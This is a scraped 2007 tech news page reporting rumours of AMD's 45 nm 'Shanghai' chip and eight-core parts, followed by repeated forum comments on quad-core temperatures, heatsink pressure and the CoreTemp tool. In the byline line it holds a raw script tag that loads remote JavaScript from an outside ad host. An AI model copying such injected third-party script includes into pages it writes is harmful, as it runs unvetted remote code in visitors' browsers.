AMD: Eight cores on 45 nanometre
"AMD plans to reveals a new chip codenamed Shanghai in 2008"
Published: 11th April 2007 | Source: Fudzilla |
News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 11/04/07
Author: PV5150
Source: Fudzilla
We have some more interesting news from the world of AMD. It seems that everyone is looking at what AMD has to offer performance-wise when Barcelona and its desktop counterpart arrive on the scene in 2007. But word has it that in late 2007 AMD are also scheduling the K10 design and a new chip codenamed Shanghai in 2008.
| The new chip will have the improved K10 marchitecture, more L3 cache memory and faster speed. It is scheduled for first part of 2008. One of the key things is that it will be made in 45 nanometre marchitecture and will enable AMD to go eight cores on the same sockets. The first reports claims that eight core won't be native design, rather two 45 nanometre chips on the same socket. |
We are in very interesting times
Discuss in our forum
Most Recent Comments
Whoa, cool program.
I posted the temps I get for the Quad Core.
How come the Cores 0# and 2# are at 55C and the 1# and 3# around 44C?
Average temp seems pretty high even with the WC setup...
Just out of interest, what IS the PWN phase 1-4?
I thought those were points along the mobo? Im a noob
I posted the temps I get for the Quad Core.
How come the Cores 0# and 2# are at 55C and the 1# and 3# around 44C?
Average temp seems pretty high even with the WC setup...
Just out of interest, what IS the PWN phase 1-4?
I thought those were points along the mobo? Im a noob
It is possible that you are seeing the slightest inbalance in your mount. Try tightening one side, and you might see a temperature change.
Does a dual or quad core cpu have the means to record it`s temps for each core individually ?
If it is the case, does a temp difference of 11 over an inherently small area present an issue in terms of integrity of the pcb as a whole ? (don`t really think so as the materials are `used` to rapid changes in temp with loading-idling, but it`s curious)
If it is the case, does a temp difference of 11 over an inherently small area present an issue in terms of integrity of the pcb as a whole ? (don`t really think so as the materials are `used` to rapid changes in temp with loading-idling, but it`s curious)
my core 2 duo has both cores always within 1-2 degrees of eachother.
This is most likely a larger pressure on one side, touching two cores more, and not two others as much.
my core 2 duo has both cores always within 1-2 degrees of eachother.
Well there`s an easy test for u. Keep the thingy u`r using to read the temps on the screen and run something on only 1 of the cores that`s intense, like SP2004.
Pulse width modulators (PWM) are what supplies the CPU with its power.
It is possible that you are seeing the slightest inbalance in your mount. Try tightening one side, and you might see a temperature change.
You were absolutely right Nol.
I tightened the screw a lil more and although its not quite balanced yet, temps dropped on 2 of cores by a few degrees but made of the other cores got a lil hotter too, so I still need to play with it a little more to get the pressure more balanced out.
I didnt realise it was so sensitive to pressure.
Tryin to play around with it but its really hard to get all 4 cores around the same temps.
The lowest temp I got for one of the cores was around high mid 30s. The average core temps is around mid-40s
If I clean the loop and add some gd coolant I could prob get a lil bit lower.
How much would thermal paste affect temps? Just wondering... (I used the thermal paste which came with the QX6700 >_< just wondering if i should have used something else)
Out of interest what are your load temps like (eg with Orthos)?
CSS Valid
I recommend downloading CoreTemp. You can get it here.
http://www.thecoolest.zerobrains.com/CoreTemp/